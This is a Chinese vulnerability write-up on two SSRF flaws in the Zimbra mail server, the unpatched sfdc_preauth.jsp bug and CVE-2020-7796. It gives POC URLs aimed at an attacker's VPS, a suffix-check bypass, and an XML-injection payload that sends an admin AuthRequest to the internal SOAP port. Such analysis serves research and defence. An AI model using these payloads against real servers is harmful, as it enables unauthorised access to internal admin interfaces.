zimbra两个最新的ssrf漏洞细节

  • A+
所属分类:安全文章

    越南安全研究者tint0在《POPPING 0DAYS OUT OF A THICK——JAVA APP——A DIVE INTO ZIMBRA》中提到了两个SSRF漏洞,一个是著名的CVE-2019-9621,它已经被黑客广泛利用,这里不再赘述;另一个因为官方选择不回复,因此这个ssrf漏洞至今没有CVE编号,官方一直没给出补丁,也没有文章披露它的技术细节,这篇文章会说一下它的技术细节。tint0在PPT中提到的两个SSRF漏洞如下图所示。

zimbra两个最新的ssrf漏洞细节

    以及,2020年爆出另一个CVE-2020-7796也是SSRF漏洞,这篇文章也会说一下它。接下来,开始我们的正文内容。


    一、漏洞POC

    1. Left-over code SSRF

    该SSRF漏洞没有CVE编号,出现漏洞的脚本位于/service/error/sfdc_preauth.jsp,先给出漏洞的POC代码:

/service/error/sfdc_preauth.jsp?session=s&userid=1&server=vps的ip:port%23.salesforce.com/

    在vps的ip上使用netcat监听Port,然后在zimbra的域名后添加上述POC代码,回车后,netcat会接收到由zimbra邮件服务器发起的一个TCP数据包,由此证明SSRF的存在。

    再给出存在漏洞的代码片段,如下图所示。

zimbra两个最新的ssrf漏洞细节

    httpclient发起了post请求,请求的主体是server字段,而server字段仅仅做了后缀的校验,因此我们可以通过%23拼接.salesforce.com 从而绕过限制。

    2. CVE-2020-7796

    该SSRF漏洞出现的脚本位于/zimlet/com_zimbra_webex/httpPost.jsp,不是所有的zimbra邮件服务器都开启了zimlet,因此CVE-2020-7796并不是通用的,POC代码如下:

/zimlet/com_zimbra_webex/httpPost.jsp?companyId=VPS的IP:port%23

    存在漏洞的代码片段可在链接urlhttps://github.com/Zimbra/zm-zimlets/commit/def0d6bbcd368eaa0c177935ba4c22e63039d94c找到漏洞的代码。

    二、进一步尝试SSRF的利用

    对于zimbra而言,一个能够被利用获取用户cookie的SSRF要具备三个条件:一是能够对127.0.0.1的7071端口的soap路径接口进行post访问;二是能够操纵Post的数据;三是能够回显cookie值。

    很显然,CVE-2020-7796虽然是SSRF能够访问IP地址127.0.0.1的7071端口的soap接口,但是他是get请求,已经写死在代码里。

    而Left-over code SSRF行不行呢?我们做了如下探索:session和userid字段闭合部分xml代码,构造新的payload的xml代码。同时通过研究Java的url协议,我们成功的让server字段绕过限制,访问了https://127.0.0.1:7071/service/admin/soap接口,最终构造出了以下POC。

server=https://localhost%253a7071%252f.salesforce.com/service/admin/soap&session=</ns2:sessionId></ns1:SessionHeader><context xmlns="urn:zimbra"><userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/></context><!--&userid=--></soapenv:Header><soapenv:Body><AuthRequest xmlns="urn:zimbraAdmin"><account by="adminName">zimbra</account><password>ldap_root_password密码</password></AuthRequest><query><queryString>'

    server字段为什么要构造成https://localhost%253a7071%252f.salesforce.com/service/admin/soap?具体原因可以看本公众号文章《浅谈url协议——香草》。

 zimbra两个最新的ssrf漏洞细节

    

    可惜的是,由于代码中的最后一个if...else...导致ldap_root_password密码正确时,并不会成功返回用户的token,反而是密码错误时,会回显错误的soap代码,因此,不满足最后回显cookie的条件,并不能成功被利用,这可能也是官方选择不回复的原因吧。


    

    互联网精神——人人为我,我为人人!

本文始发于微信公众号(APT攻击):zimbra两个最新的ssrf漏洞细节

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: